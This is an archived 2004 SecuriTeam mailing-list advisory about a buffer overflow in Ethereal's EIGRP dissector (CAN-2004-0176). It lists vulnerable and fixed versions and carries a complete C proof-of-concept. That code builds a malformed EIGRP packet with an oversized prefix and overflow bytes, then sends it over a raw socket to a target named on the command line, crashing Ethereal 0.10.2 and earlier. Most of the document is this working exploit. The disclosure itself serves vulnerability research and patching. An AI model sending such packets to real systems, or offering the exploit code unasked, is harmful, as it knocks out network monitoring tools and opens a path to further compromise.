

[EXPL] Ethereal EIGRP Dissector Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-03/0085.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/30/04

To: list@securiteam.com

Date: 30 Mar 2004 13:08:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Ethereal EIGRP Dissector Buffer Overflow Exploit

SUMMARY

" <<http://www.ethereal.com/>> Ethereal is used by network professionals around the world for troubleshooting, analysis, software and protocol development, and education. It has all of the standard features you would expect in a protocol analyzer, and several features not seen in any other product. Its open source license allows talented experts in the networking community to add enhancements. It runs on all popular computing platforms, including Unix, Linux, and Windows."

In a previously featured

<<http://www.securiteam.com/unixfocus/5AP0015CAO.html>> article several remote buffer overflow vulnerabilities were found. A proof of concept code for the EIGRP Dissector buffer overflow is presented below.

DETAILS

Vulnerable Systems:

* Ethereal versions 0.8.13 up to 0.10.2

Immune Systems:

Securiteam: [EXPL] Ethereal EIGRP Dissector Buffer Overflow Exploit

* Ethereal version 0.10.3

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0176>>
CAN-2004-0176

/*

* Ethereal network protocol analyzer
* EIGRP Dissector TLV_IP_INT Long IP Address Overflow
* vulnerability
* proof of concept code
* version 1.0 (Mar 26 2004)
*
* by Remi Denis-Courmont <ethereal at simphalampin dot com >
* <http://www.simphelempin.com/dev/>
*
* This vulnerability was found by:
* Stefan Esser <s.esser@e-matters.de>
* whose original advisory may be fetched from:
* <http://security.e-matters.de/advisories/032004.html>

* Vulnerable:
* - Ethereal v0.10.2
*
* Not vulnerable:
* - Ethreal v0.10.3
*
* Note: this code will simply trigger a denial of service on Ethereal.
* It should really be possible to exploit the buffer overflow
* (apparently up to 29 bytes overflow), but I haven't tried.

*/

/******

* Copyright (C) 2004 Remi Denis-Courmont. All rights reserved. *
* *

* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *

* 1. Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* 2. Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS" AND ANY EXPRESS OR *
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES *

* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
*

* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,

Securiteam: [EXPL] Ethereal EIGRP Dissector Buffer Overflow Exploit

BUT *

* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *

* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *

* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *

* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF *

* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *

*****/

```
#include <string.h>
```

```
#include <stdio.h>
```

```
#include <sys/types.h>
```

```
#include <unistd.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/ip.h>
```

```
#include <netdb.h>
```

```
static const char packet[] =
```

```
"\x01" /* Version */
```

```
"\x04" /* Opcode: Reply */
```

```
"\x00\x00" /* Checksum (invalid) */
```

```
"\x00\x00\x00\x00" /* Flags */
```

```
"\x00\x00\x00\x00" /* Sequence number */
```

```
"\x00\x00\x00\x00" /* ACK */
```

```
"\x00\x00\x00\x00" /* AS number */
```

```
/* IP internal routes TLV */
```

```
"\x01\x02" /* Type */
```

```
"\x00\x39" /* Length (should be 0x1C) */
```

```
"\x00\x00\x00\x00" /* Next hop */
```

```
"\x00\x00\x00\x00" /* Delay */
```

```
"\x00\x00\x00\x00" /* Bandwidth */
```

```
"\x00\x00\x00" /* MTU */
```

```
"\x00" /* Hop count: directly connected */
```

```
"\xff" /* Reliability: maximum */
```

```
"\x01" /* Load: minimum */
```

```
"\x00\x00" /* Reserved */
```

```
"\xff" /* Prefix length: should be > 0 and <= 32 */
```

```
"\x00\x00\x00" /* Destination network */
```

```
"\xff\xff\xff\xff" "\xff\xff\xff\xff"
```

```
"\xff\xff\xff\xff" "\xff\xff\xff\xff"
```

```
"\xff\xff\xff\xff" "\xff\xff\xff\xff"
```

```
"\xff\xff\xff\xff" "\xff" /* buffer overflow */
```

```
;
```

```
static int
```

```
proof(const struct sockaddr_in *dest)
```

Securiteam: [EXPL] Ethereal EIGRP Dissector Buffer Overflow Exploit

```
{
int fd;
size_t len;

fd = socket (PF_INET, SOCK_RAW, 88);
if (fd == -1)
{
perror ("Raw socket error");
return 1;
}

len = sizeof (packet) - 1;
if (sendto (fd, packet, len, 0, (const struct sockaddr *)dest,
sizeof (struct sockaddr_in)) != len)
{
perror ("Packet sending error");
close (fd);
return 1;
}

puts ("Packet sent!");
close (fd);
return 0;
}

static int
usage (const char *path)
{
fprintf (stderr, "Usage: %s <hostname/IP>\n", path);
return 2;
}

int
main (int argc, char *argv[])
{
struct sockaddr *dest;

puts ("Ethereal EIGRP Dissector TLV_IP_INT Long IP Address Overflow\n"
"proof of concept code\n"
"Copyright (C) 2004 Remi Denis-Courmont "
"<\x65\x74\x68\x65\x72\x65\x61\x6c\x40\x73\x69\x6d\x70"
"\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n");

if (argc != 2)
return usage (argv[0]);
else
{
struct addrinfo help, *res;
int check;
```

Securiteam: [EXPL] Ethereal EIGRP Dissector Buffer Overflow Exploit

```
memset (&help, 0, sizeof (help));
help.ai_family = PF_INET;

check = getaddrinfo (argv[1], NULL, &help, &res);
if (check)
{
    fprintf (stderr, "%s: %s\n", argv[1],
        gai_strerror (check));
    return 1;
}

dest = res->ai_addr;
}

return proof ((const struct sockaddr_in *)dest);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:ethereal@simphalempin.com>
Remi Denis-Courmont.

The original article can be found at:

<<http://www.securiteam.com/unixfocus/5AP0015CAO.html>>

<http://www.securiteam.com/unixfocus/5AP0015CAO.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.